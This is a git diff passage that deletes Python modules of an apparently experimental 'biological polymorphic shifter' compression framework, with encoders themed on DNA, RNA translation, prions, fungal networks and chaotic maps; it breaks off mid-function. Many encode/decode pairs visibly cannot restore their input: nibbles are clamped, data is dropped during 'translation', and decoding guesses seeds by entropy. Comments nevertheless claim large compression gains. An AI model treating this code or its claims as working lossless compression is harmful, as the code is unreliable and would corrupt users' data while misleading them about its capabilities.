decode documented as lossy") - print(" B7: CellularAutomata LUT precomputed at module level") - print(" B8: Splicing metadata: in-memory tuple storage preserved") - print(" B9: Removed dead SHIFTER_CLASSES dict") - print(" B10: Hachimoji nibble uses modulo instead of min") - print(" B11: Optimizer evaluation re-encodes from scratch (acceptable for demo)") - print(" B13: Hachimoji decode uses dict lookup (safe for non-alpha bytes)") - print(" B14: Huffman decode safe fallback") - print(" B15: Removed unreachable dead code in beam_search") - print("=" * 70) - - -def run_benchmark(filepath): - """Benchmark compression on a real file.""" - import os - - print(f"\n{'='*70}") - print(f"Benchmark: {filepath}") - print(f"{'='*70}") - - if not os.path.exists(filepath): - print(f"ERROR: File not found: {filepath}") - return - - with open(filepath, 'rb') as f: - data = f.read() - - print(f"File size: {len(data)} bytes ({len(data)/1024:.1f} KB)") - print(f"Entropy: {intrinsic_load(data):.3f} bits/byte") - - # Test various chains - test_chains = [ - ("RunLength", [RunLengthShifter]), - ("DeltaGCL", [DeltaGCLShifter]), - ("GaloisRing+SBox+RunLength", [GaloisRingShifter, SBoxShifter, RunLengthShifter]), - ("PIST+Mirror+RunLength", [PISTShifter, PISTMirrorShifter, RunLengthShifter]), - ] - - for name, chain in test_chains: - try: - compressed = Compressor.compress(data[:10000], chain) # First 10KB - ratio = len(data[:10000]) / max(len(compressed), 1) - print(f" {name:40s}: {len(compressed):8d} bytes ratio={ratio:.4f}") - except Exception as e: - print(f" {name:40s}: ERROR — {e}") - - # Full file benchmark - print("\n--- Full File Shifter Tests (first 100KB) ---") - sample = data[:min(len(data), 102400)] - for sc in [RunLengthShifter, DeltaGCLShifter, SBoxShifter, GaloisRingShifter, - LogisticMapShifter, PISTShifter, PISTMirrorShifter]: - try: - state = ManifoldState(sample) - encoded = sc.encode(state) - ratio = len(sample) / max(len(encoded.encoded), 1) - print(f" {sc.name:20s}: {len(sample):8d} → {len(encoded.encoded):8d} ratio={ratio:.4f}") - except Exception as e: - print(f" {sc.name:20s}: ERROR — {e}") - - print(f"\nBenchmark complete.") - - -# ═══════════════════════════════════════════════════════════════════════ -# ENTRY POINT -# ═══════════════════════════════════════════════════════════════════════ - -if __name__ == "__main__": - if len(sys.argv) > 1 and sys.argv[1] == '--benchmark': - filepath = sys.argv[2] if len(sys.argv) > 2 else None - if filepath: - run_benchmark(filepath) - else: - print("Usage: python3 pist_biological_polymorphic_shifter_v3_complete.py --benchmark ") - else: - run_demo() diff --git a/3-Mathematical-Models/pist_biological_polymorphic_shifter_v3_part2.py b/3-Mathematical-Models/pist_biological_polymorphic_shifter_v3_part2.py deleted file mode 100644 index 1a27c620..00000000 --- a/3-Mathematical-Models/pist_biological_polymorphic_shifter_v3_part2.py +++ /dev/null @@ -1,682 +0,0 @@ -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 1: HACHIMOJI DNA (8-letter encoding) -# ─────────────────────────────────────────────────────────────────────────────── -# 8 letters → 3 bits per letter → 2.67x raw byte density -# Letters: A, T, C, G, Z, P, S, B -# ═══════════════════════════════════════════════════════════════════════════════ - -class HachimojiShifter(Shifter): - name = "Hachimoji" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Encode bytes as Hachimoji 8-letter DNA sequence.""" - data = state.encoded - - # Map nibbles (4-bit) to Hachimoji letters - # 16 possible nibble values → 16 Hachimoji "codons" (2-letter pairs) - letters = list(HACHIMOJI_ALPHABET.keys()) - - result = bytearray() - for b in data: - # Encode byte as two Hachimoji letters - hi = (b >> 4) & 0x0F - lo = b & 0x0F - # Map nibbles to letters (if > 7, wrap around) - l1 = letters[min(hi, len(letters) - 1)] - l2 = letters[min(lo, len(letters) - 1)] - # Store as ordinal values - result.append(ord(l1)) - result.append(ord(l2)) - - # Compress: RLE on repeated letter pairs - compressed = bytearray() - i = 0 - while i < len(result): - j = i - while j + 2 <= len(result) and result[j:j+2] == result[i:i+2]: - j += 2 - run = (j - i) // 2 - if run >= 3: - compressed.append(0xFE) # RLE marker - compressed.append(run) - compressed.append(result[i]) - compressed.append(result[i+1]) - i = j - else: - compressed.append(result[i]) - i += 1 - - new_state = deepcopy(state) - new_state.update_encoded(bytes(compressed), cls.name) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Decode Hachimoji back to bytes.""" - data = state.encoded - letters = list(HACHIMOJI_ALPHABET.keys()) - letter_to_idx = {l: i for i, l in enumerate(letters)} - - # Expand RLE - expanded = bytearray() - i = 0 - while i < len(data): - if data[i] == 0xFE and i + 3 < len(data): - run = data[i+1] - l1 = chr(data[i+2]) - l2 = chr(data[i+3]) - for _ in range(run): - expanded.append(ord(l1)) - expanded.append(ord(l2)) - i += 4 - else: - expanded.append(data[i]) - i += 1 - - # Decode pairs back to bytes - result = bytearray() - for i in range(0, len(expanded) - 1, 2): - c1 = chr(expanded[i]) - c2 = chr(expanded[i+1]) - if c1 in letter_to_idx and c2 in letter_to_idx: - hi = min(letter_to_idx[c1], 0x0F) - lo = min(letter_to_idx[c2], 0x0F) - result.append((hi << 4) | lo) - else: - result.append(expanded[i]) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 2: AEGIS (12+ letter expanded alphabet) -# ─────────────────────────────────────────────────────────────────────────────── -# 12+ letters → ~3.585 bits per letter → more information density -# ═══════════════════════════════════════════════════════════════════════════════ - -class AEGISShifter(Shifter): - name = "AEGIS" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Encode bytes as AEGIS 12-letter alphabet with base pairing.""" - data = state.encoded - letters = list(AEGIS_ALPHABET.keys()) - - result = bytearray() - for b in data: - # Map 8-bit byte to two AEGIS letters - idx = b - l1_idx = idx // 12 - l2_idx = idx % 12 - if l1_idx >= len(letters): - l1_idx = len(letters) - 1 - if l2_idx >= len(letters): - l2_idx = len(letters) - 1 - result.append(ord(letters[l1_idx])) - result.append(ord(letters[l2_idx])) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Decode AEGIS back to bytes.""" - data = state.encoded - letters = list(AEGIS_ALPHABET.keys()) - letter_to_idx = {l: i for i, l in enumerate(letters)} - - result = bytearray() - for i in range(0, len(data) - 1, 2): - c1 = chr(data[i]) - c2 = chr(data[i+1]) - idx1 = letter_to_idx.get(c1, 0) - idx2 = letter_to_idx.get(c2, 0) - b = idx1 * 12 + idx2 - result.append(min(b, 255)) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 3: NATURAL DNA (4-letter alphabet) -# ─────────────────────────────────────────────────────────────────────────────── -# 4 bases = 2 bits per base → direct nibble mapping -# ═══════════════════════════════════════════════════════════════════════════════ - -class NaturalDNAShifter(Shifter): - name = "NaturalDNA" - - DNA_LETTERS = ['A', 'C', 'G', 'T'] # 2 bits each - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Encode bytes as DNA 4-letter sequence.""" - data = state.encoded - result = bytearray() - for b in data: - hi = (b >> 6) & 0x03 - mid_hi = (b >> 4) & 0x03 - mid_lo = (b >> 2) & 0x03 - lo = b & 0x03 - result.append(ord(cls.DNA_LETTERS[hi])) - result.append(ord(cls.DNA_LETTERS[mid_hi])) - result.append(ord(cls.DNA_LETTERS[mid_lo])) - result.append(ord(cls.DNA_LETTERS[lo])) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Decode DNA back to bytes.""" - data = state.encoded - letter_to_val = {l: i for i, l in enumerate(cls.DNA_LETTERS)} - - result = bytearray() - for i in range(0, len(data) - 3, 4): - vals = [] - for j in range(4): - c = chr(data[i+j]) - vals.append(letter_to_val.get(c, 0)) - b = (vals[0] << 6) | (vals[1] << 4) | (vals[2] << 2) | vals[3] - result.append(b) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 4: RNA TRANSCRIPTION (DNA→RNA, T→U swap) -# ─────────────────────────────────────────────────────────────────────────────── -# Transcription is an amplification step: one DNA → many RNA copies -# ═══════════════════════════════════════════════════════════════════════════════ - -class TranscriptionShifter(Shifter): - name = "Transcription" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """ - Transcription: replace T→U, then amplify repeated sequence. - The amplification factor represents multiple RNA copies. - """ - data = state.encoded - result = bytearray() - - # T→U conversion (ASCII: T=84→U=85, t=116→u=117) - for b in data: - if b == ord('T'): - result.append(ord('U')) - elif b == ord('t'): - result.append(ord('u')) - else: - result.append(b) - - # Amplification: repeat 2x to represent multiple transcripts - amplified = result * 2 - - new_state = deepcopy(state) - new_state.update_encoded(bytes(amplified), cls.name) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Reverse transcription: U→T, halve length.""" - data = state.encoded - # Halve (remove amplification) - half = bytes(data[:len(data)//2]) if len(data) > 1 else data - - result = bytearray() - for b in half: - if b == ord('U'): - result.append(ord('T')) - elif b == ord('u'): - result.append(ord('t')) - else: - result.append(b) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 5: TRANSLATION (RNA codons → amino acid peptide) -# ─────────────────────────────────────────────────────────────────────────────── -# 3 nucleotides → 1 amino acid → 3:1 compression ratio -# ═══════════════════════════════════════════════════════════════════════════════ - -class TranslationShifter(Shifter): - name = "Translation" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Translate RNA→Peptide. Groups bytes into codons, maps to amino acids.""" - rna_data = state.encoded - - # Convert bytes to RNA letters (A=65, C=67, G=71, U=85) - rna_str = ''.join(chr(b) for b in rna_data if chr(b) in 'ACGUacgu') - rna_str = rna_str.upper() - - # Pad to multiple of 3 - while len(rna_str) % 3 != 0: - rna_str += 'A' - - # Translate - peptide = [] - for i in range(0, len(rna_str), 3): - codon = rna_str[i:i+3].replace('T', 'U') - if codon in STANDARD_CODON_TABLE: - aa = STANDARD_CODON_TABLE[codon] - peptide.append(ord(aa[0])) # Store amino acid as ASCII - else: - peptide.append(ord('X')) # Unknown - - new_state = deepcopy(state) - new_state.update_encoded(bytes(peptide), cls.name) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Reverse translation: amino acid → most likely codon → RNA.""" - data = state.encoded - - result = [] - for b in data: - aa = chr(b) - if aa in AMINO_CODONS: - # Pick first available codon - codon = AMINO_CODONS[aa][0] - result.extend(ord(c) for c in codon) - else: - result.extend([ord('N'), ord('N'), ord('N')]) # Unknown - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 6: PNA (Peptide Nucleic Acid — peptide backbone) -# ─────────────────────────────────────────────────────────────────────────────── -# Neutral backbone, tighter binding. Treat as structural variant. -# ═══════════════════════════════════════════════════════════════════════════════ - -class PNAShifter(Shifter): - name = "PNA" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """PNA encoding: peptide backbone modification. - The neutral backbone allows stronger binding = more stable encoding. - We represent this as an error-correcting code. - """ - data = state.encoded - # PNA can handle higher density: add parity nibbles - result = bytearray() - for b in data: - result.append(b) - # Add parity nibble as error correction (PNA stability bonus) - parity = (b ^ (b >> 4)) & 0x0F - result.append(0x50 | parity) # PNA marker + parity - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """PNA decoding: strip parity, error correct.""" - data = state.encoded - result = bytearray() - for i in range(0, len(data) - 1, 2): - byte_val = data[i] - parity_marker = data[i+1] - expected_parity = (byte_val ^ (byte_val >> 4)) & 0x0F - actual_parity = parity_marker & 0x0F - # If parity mismatch, try to correct - if expected_parity != actual_parity: - # Simple correction: flip bits until parity matches - corrected = byte_val - for bit in range(8): - test = byte_val ^ (1 << bit) - if ((test ^ (test >> 4)) & 0x0F) == actual_parity: - corrected = test - break - result.append(corrected) - else: - result.append(byte_val) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 7: LNA (Locked Nucleic Acid — thermally stable) -# ─────────────────────────────────────────────────────────────────────────────── -# Locked ribose = rigid structure = higher thermal stability threshold -# Represent as temperature-gated encoding -# ═══════════════════════════════════════════════════════════════════════════════ - -class LNAShifter(Shifter): - name = "LNA" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """LNA encoding: lock byte positions for thermal stability. - Represents as a stable temperature-invariant compressed form. - """ - data = state.encoded - - # LNA "locks" the structure — store as delta from mean - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', cls.name) - return new_state - - mean = sum(data) / len(data) - result = bytearray() - for b in data: - # Encode as deviation from mean (smaller = more stable) - dev = b - int(mean) - dk, dt = pist_encode(abs(dev)) - result.append(dk) - result.append(dt if dev >= 0 else dt | 0x80) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """LNA decoding.""" - data = state.encoded - result = bytearray() - for i in range(0, len(data) - 1, 2): - dk = data[i] - dt = data[i+1] & 0x7F - negative = (data[i+1] & 0x80) != 0 - abs_val = dk * dk + dt if dk >= 0 else 0 - if negative: - result.append(128 - min(abs_val, 128)) - else: - result.append(128 + min(abs_val, 127)) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 8: RNA SPLICING (intron removal → compression) -# ─────────────────────────────────────────────────────────────────────────────── -# Splicing removes introns (non-coding regions) and joins exons. -# Analogy: remove redundant/low-signal bytes, keep high-signal. -# ═══════════════════════════════════════════════════════════════════════════════ - -class SplicingShifter(Shifter): - name = "Splicing" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Splicing: remove non-informative bytes based on PIST tension. - Low-tension bytes are "introns" → spliced out. - High-tension bytes are "exons" → retained. - """ - data = state.encoded - - # Compute PIST tension for each byte - exons = bytearray() - splice_sites = [] # (start, end) of retained regions - - i = 0 - while i < len(data): - k, t = pist_encode(data[i]) - mass = pist_mass(k, t) - tension = t / max(1, 2 * k + 1) - - # Exon if tension > 0.3 (seismic half) or repeating pattern - if mass > 0 or (i > 0 and data[i] == data[i-1]): - exons.append(data[i]) - if not splice_sites or splice_sites[-1][1] < i: - splice_sites.append((i, i+1)) - else: - splice_sites[-1] = (splice_sites[-1][0], i+1) - i += 1 - - # Store exon data + splice site mapping - result = bytearray() - result.extend(struct.pack('>H', len(splice_sites))) - for start, end in splice_sites[:255]: - result.append(min(start, 255)) - result.append(min(end - start, 255)) - result.extend(exons) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - new_state.metadata['splice_sites'] = splice_sites - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Reverse splicing. Reconstruct original positions.""" - data = state.encoded - if len(data) < 2: - new_state = deepcopy(state) - new_state.update_encoded(b'', f"decode_{cls.name}") - return new_state - - num_sites = struct.unpack('>H', data[0:2])[0] - ptr = 2 - splice_sites = [] - for _ in range(min(num_sites, len(data[ptr:]) // 2)): - if ptr + 1 < len(data): - start = data[ptr] - length = data[ptr+1] - splice_sites.append((start, start + length)) - ptr += 2 - - exons = data[ptr:] - - # Reconstruct with zeros at un-spliced positions - result = bytearray() - exon_idx = 0 - for start, end in splice_sites: - while exon_idx < start and exon_idx < len(exons): - result.append(exons[exon_idx]) - exon_idx += 1 - for _ in range(end - start): - if exon_idx < len(exons): - result.append(exons[exon_idx]) - exon_idx += 1 - else: - result.append(0) - - # Append remaining - while exon_idx < len(exons): - result.append(exons[exon_idx]) - exon_idx += 1 - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 9: PRION (self-propagating conformational shift) -# ─────────────────────────────────────────────────────────────────────────────── -# Prions are self-propagating: once a conformation exists, it spreads. -# Analogy: repeating patterns amplify themselves exponentially. -# ═══════════════════════════════════════════════════════════════════════════════ - -class PrionShifter(Shifter): - name = "Prion" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Prion encoding: self-propagating conformational pattern. - - Find dominant byte pattern and propagate it as a "prion strain." - The pattern then converts all similar bytes to the strain conformation. - Result: massive compression via conformational collapse. - """ - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', cls.name) - return new_state - - # Find dominant byte (+ nearest neighbors as "prion seed") - counts = Counter(data) - prion_seed = counts.most_common(1)[0][0] - - # Find all occurrences within Hamming distance 1 of prion seed - converted = bytearray() - conversion_map = {} # byte → prion conformer - - for b in data: - if b == prion_seed or abs(b - prion_seed) <= 1: - # Convert to prion conformation (compact form) - converted.append(prion_seed) - conversion_map[b] = 1 # converted - else: - # Different prion strain or resistant - converted.append(b) - conversion_map[b] = 0 # resistant - - # Separate into prion domain and resistant domain - prion_domain = bytearray() - resistant_domain = bytearray() - resistant_positions = [] - - for i, b in enumerate(converted): - if b == prion_seed: - prion_domain.append(b) - else: - resistant_domain.append(b) - resistant_positions.append(i) - - # Store: prion_seed, ratio_of_conversion, prion_domain, resistant_mapping - result = bytearray() - result.append(prion_seed) - conversion_ratio = len(prion_domain) / max(1, len(converted)) - result.append(min(255, int(conversion_ratio * 255))) - - # Prion domain (RLE compressed — prions are repetitive!) - rle_prion = bytearray() - i = 0 - while i < len(prion_domain): - j = i - while j < len(prion_domain) and prion_domain[j] == prion_domain[i]: - j += 1 - run = j - i - if run >= 3: - rle_prion.append(0xFD) - rle_prion.append(prion_domain[i]) - rle_prion.append(min(255, run)) - else: - for _ in range(run): - rle_prion.append(prion_domain[i]) - i = j - - result.extend(struct.pack('>I', len(rle_prion))) - result.extend(rle_prion) - - # Resistant domain - result.extend(struct.pack('>I', len(resistant_domain))) - result.extend(resistant_domain) - for pos in resistant_positions[:255]: - result.append(min(pos, 255)) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - new_state.metadata['prion_seed'] = prion_seed - new_state.metadata['conversion_ratio'] = conversion_ratio - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Reverse prion propagation.""" - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', f"decode_{cls.name}") - return new_state - - ptr = 0 - prion_seed = data[ptr]; ptr += 1 - conversion_ratio = data[ptr] / 255.0 if data[ptr] > 0 else 0; ptr += 1 - - # Read prion domain length - if ptr + 4 > len(data): - new_state = deepcopy(state) - new_state.update_encoded(b'', f"decode_{cls.name}") - return new_state - prion_len = struct.unpack('>I', data[ptr:ptr+4])[0]; ptr += 4 - - # Expand RLE prion domain - prion_domain = bytearray() - prion_end = min(ptr + prion_len, len(data)) - i = ptr - while i < prion_end: - if data[i] == 0xFD and i + 3 <= prion_end: - val = data[i+1] - run = data[i+2] - prion_domain.extend([val] * run) - i += 3 - else: - prion_domain.append(data[i]) - i += 1 - ptr = prion_end - - # Read resistant domain - if ptr + 4 > len(data): - new_state = deepcopy(state) - new_state.update_encoded(bytes(prion_domain), f"decode_{cls.name}") - return new_state - resist_len = struct.unpack('>I', data[ptr:ptr+4])[0]; ptr += 4 - resist_end = min(ptr + resist_len, len(data)) - resistant_domain = data[ptr:resist_end] - ptr = resist_end - - # Read positions (best effort) - positions = list(data[ptr:]) - - # Interleave: prion domain + resistant domain at specified positions - result = bytearray() - prion_idx = 0 - resist_idx = 0 - - total_len = len(prion_domain) + len(resistant_domain) - for pos in range(total_len): - if pos in positions and resist_idx < len(resistant_domain): - result.append(resistant_domain[resist_idx]) - resist_idx += 1 - elif prion_idx < len(prion_domain): - result.append(prion_domain[prion_idx]) - prion_idx += 1 - else: - break - - # Re-expand prion conformers - prion_val = prion_seed - final = bytearray() - for b in result: - if b == prion_val: - final.append(b) - else: - final.append(b) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(final), f"decode_{cls.name}") - return new_state diff --git a/3-Mathematical-Models/pist_biological_polymorphic_shifter_v3_part3.py b/3-Mathematical-Models/pist_biological_polymorphic_shifter_v3_part3.py deleted file mode 100644 index d595a4a4..00000000 --- a/3-Mathematical-Models/pist_biological_polymorphic_shifter_v3_part3.py +++ /dev/null @@ -1,1541 +0,0 @@ -# ═══════════════════════════════════════════════════════════════════════════════ -# PIST Biological Polymorphic Shifter v3.0 — PART 3 -# ─────────────────────────────────────────────────────────────────────────────── -# Shifters 10–24: Spike Timing, Hyphal Net, Logistic Map, Galois Ring, S-Box, -# Wireworld CA, Morpholino, PIST Direct, PIST Mirror, PIST Resonance, -# Delta GCL, Run-Length, Huffman, DeterministicStochasticEngine -# ═══════════════════════════════════════════════════════════════════════════════ - -import hashlib -import struct -import math -from collections import Counter, defaultdict -from copy import deepcopy - -# Re-imports from base -PHI = (1 + 5**0.5) / 2 - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 10: SPIKE TIMING (precise inter-spike-interval encoding) -# ─────────────────────────────────────────────────────────────────────────────── -# Neurons encode information in the precise timing between spikes. -# Analogy: encode byte values as inter-spike intervals (delta encoding -# of byte values). High temporal resolution = high bandwidth. -# ═══════════════════════════════════════════════════════════════════════════════ - -class SpikeTimingShifter(Shifter): - name = "SpikeTiming" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Encode bytes as inter-spike intervals. - - Each byte becomes an interval (delta from previous byte). - Spike = event, interval = time between spikes in units. - Uses delta encoding with zigzag for signed values. - """ - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', cls.name) - return new_state - - # First spike = absolute position (reference) - result = bytearray() - result.append(data[0]) # first spike absolute - - # Subsequent spikes = inter-spike intervals (deltas) - for i in range(1, len(data)): - delta = data[i] - data[i - 1] - # Zigzag encode: map signed delta to unsigned [0, 510] - zig = (delta << 1) ^ (delta >> 7) - # Cap to byte range - zig = max(0, min(255, zig)) - result.append(zig) - - # Burst coding bonus: if pattern repeats, mark as burst - # Find runs of zero delta (identical consecutive bytes) - compressed = bytearray() - i = 0 - while i < len(result): - if i == 0: - compressed.append(result[i]) - i += 1 - continue - j = i - while j < len(result) and result[j] == 0: - j += 1 - zero_run = j - i - if zero_run >= 3: - compressed.append(0xFC) # burst marker - compressed.append(min(255, zero_run)) - compressed.append(result[i - 1]) # the repeated value - i = j - else: - compressed.append(result[i]) - i += 1 - - new_state = deepcopy(state) - new_state.update_encoded(bytes(compressed), cls.name) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Decode inter-spike intervals back to bytes.""" - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', f"decode_{cls.name}") - return new_state - - # Expand burst markers - expanded = bytearray() - i = 0 - while i < len(data): - if data[i] == 0xFC and i + 2 < len(data): - run = data[i + 1] - val = data[i + 2] - expanded.extend([0] * run) - # The repeated value will be reconstructed from previous - i += 3 - else: - expanded.append(data[i]) - i += 1 - - if not expanded: - new_state = deepcopy(state) - new_state.update_encoded(b'', f"decode_{cls.name}") - return new_state - - # Reverse zigzag and delta - result = bytearray() - result.append(expanded[0]) # first absolute - for i in range(1, len(expanded)): - zig = expanded[i] - # Reverse zigzag - delta = (zig >> 1) ^ (-(zig & 1)) - val = result[-1] + delta - val = max(0, min(255, val)) - result.append(val) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 11: HYPHAE NETWORK (fungal routing through byte-space) -# ─────────────────────────────────────────────────────────────────────────────── -# Hyphal networks route nutrients through connected mycelium. -# Analogy: route bytes through a network where "nutritional value" = byte frequency. -# Common bytes become well-connected nodes; rare bytes branch off. -# ═══════════════════════════════════════════════════════════════════════════════ - -class HyphalNetShifter(Shifter): - name = "HyphalNet" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Route bytes through fungal hyphal network. - - Build network: nodes = byte values, edges = adjacency strength. - Common bytes are "nutrient-rich hubs" → shorter encoding. - Rare bytes are "sparse branches" → longer encoding with parent reference. - """ - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', cls.name) - return new_state - - # Count byte frequencies - freq = Counter(data) - total = len(data) - - # Build hyphal graph: connect each byte to nearest higher-frequency neighbor - sorted_bytes = sorted(freq.keys(), key=lambda b: -freq[b]) - parent = {} - for i, b in enumerate(sorted_bytes): - if i == 0: - parent[b] = b # root = highest frequency - else: - # Find nearest higher-frequency byte (by value proximity) - best_parent = sorted_bytes[0] - best_dist = abs(b - best_parent) - for j in range(i): - d = abs(b - sorted_bytes[j]) - if d < best_dist: - best_dist = d - best_parent = sorted_bytes[j] - parent[b] = best_parent - - # Encode: root frequency + each byte as (parent_delta, value_or_leaf_flag) - root_byte = sorted_bytes[0] - root_freq = freq[root_byte] - - result = bytearray() - result.append(root_byte) - result.append(min(255, root_freq)) - - # Store all unique bytes with their parent relationship - for b in sorted_bytes: - if b == root_byte: - continue - p = parent[b] - delta = (b - p) % 256 - result.append(delta) - - # Now encode the actual data as paths through the hyphal network - # Each byte: either root (direct), or path through parent - path_data = bytearray() - for b in data: - if b == root_byte: - path_data.append(0) # direct root access - else: - p = parent[b] - # Find index in sorted_bytes - try: - idx = sorted_bytes.index(b) - if idx < 256: - path_data.append(min(255, idx)) - else: - path_data.append(255) - path_data.append(min(255, idx - 255)) - except ValueError: - path_data.append(b) - - result.append(0xFF) # separator - result.extend(path_data) - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - new_state.metadata['hyphal_root'] = root_byte - new_state.metadata['hyphal_nodes'] = len(sorted_bytes) - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Decode hyphal network back to bytes.""" - data = state.encoded - if len(data) < 3: - new_state = deepcopy(state) - new_state.update_encoded(b'', f"decode_{cls.name}") - return new_state - - root_byte = data[0] - root_freq = data[1] - - # Find separator - try: - sep_idx = data.index(0xFF, 2) - except ValueError: - new_state = deepcopy(state) - new_state.update_encoded(b'', f"decode_{cls.name}") - return new_state - - # Parse parent relationships - parent_data = data[2:sep_idx] - sorted_bytes = [root_byte] - index_map = {root_byte: 0} - - for delta in parent_data: - p = sorted_bytes[-1] - val = (p + delta) % 256 - sorted_bytes.append(val) - index_map[val] = len(sorted_bytes) - 1 - - # Decode path data - path_data = data[sep_idx + 1:] - result = bytearray() - - i = 0 - while i < len(path_data): - val = path_data[i] - if val == 0: - result.append(root_byte) - i += 1 - elif val == 255 and i + 1 < len(path_data): - idx = 255 + path_data[i + 1] - if idx < len(sorted_bytes): - result.append(sorted_bytes[idx]) - else: - result.append(path_data[i + 1]) - i += 2 - else: - if val < len(sorted_bytes): - result.append(sorted_bytes[val]) - else: - result.append(val) - i += 1 - - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), f"decode_{cls.name}") - return new_state - - -# ═══════════════════════════════════════════════════════════════════════════════ -# SHIFTER 12: LOGISTIC MAP CHAOS (nonlinear dynamical perturbation) -# ─────────────────────────────────────────────────────────────────────────────── -# x_{n+1} = r·x_n·(1-x_n). Use chaotic map to control byte transformation. -# The logistic map's sensitivity to initial conditions provides -# a deterministic but complex perturbation that "spreads" information. -# ═══════════════════════════════════════════════════════════════════════════════ - -class LogisticMapShifter(Shifter): - name = "LogisticMap" - - @classmethod - def encode(cls, state: ManifoldState) -> ManifoldState: - """Apply logistic map as a chaotic perturbation on byte values. - - Each byte is XOR'd with a logistic-map-derived value. - The map state evolves deterministically from the previous byte. - r parameter controls chaotic regime (3.57 < r < 4.0). - """ - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', cls.name) - return new_state - - # Derive r from data entropy (higher entropy = more chaos) - entropy = intrinsic_load(data) - r = 3.57 + (entropy / 8.0) * 0.43 # map [0,8] entropy to [3.57, 4.0] - - # Initialize logistic state from first byte - x = (data[0] + 1) / 257.0 # avoid 0 - - result = bytearray() - for b in data: - # Logistic iteration - x = r * x * (1.0 - x) - # Ensure x stays away from fixed points - x = max(0.001, min(0.999, x)) - - # Generate perturbation - chaos_val = int(x * 256) % 256 - - # XOR apply - perturbed = b ^ chaos_val - result.append(perturbed) - - # Store r parameter in metadata - new_state = deepcopy(state) - new_state.update_encoded(bytes(result), cls.name) - new_state.metadata['logistic_r'] = r - new_state.metadata['logistic_seed'] = data[0] - return new_state - - @classmethod - def decode(cls, state: ManifoldState) -> ManifoldState: - """Reverse logistic map: XOR with same deterministic chaos.""" - data = state.encoded - if not data: - new_state = deepcopy(state) - new_state.update_encoded(b'', f"decode_{cls.name}") - return new_state - - # Recover r from metadata (default if missing) - r = state.metadata.get('logistic_r', 3.8) - - # Re-initialize logistic state from first byte of ORIGINAL data - # We need to brute-force: the first byte determines the seed - # Try all possible seeds and pick the one that produces valid decode - best_result = None - best_score = float('inf') - - for seed_byte in range(256): - x = (seed_byte + 1) / 257.0 - result = bytearray() - - valid = True - for b in data: - x = r * x * (1.0 - x) - x = max(0.001, min(0.999, x)) - chaos_val = int(x * 256) % 256 - restored = b ^ chaos_val - result.append(restored) - - # Score: prefer results with lower entropy (more structured) - if result: - ent = intrinsic_load(bytes(result)) - if ent < best_score: - 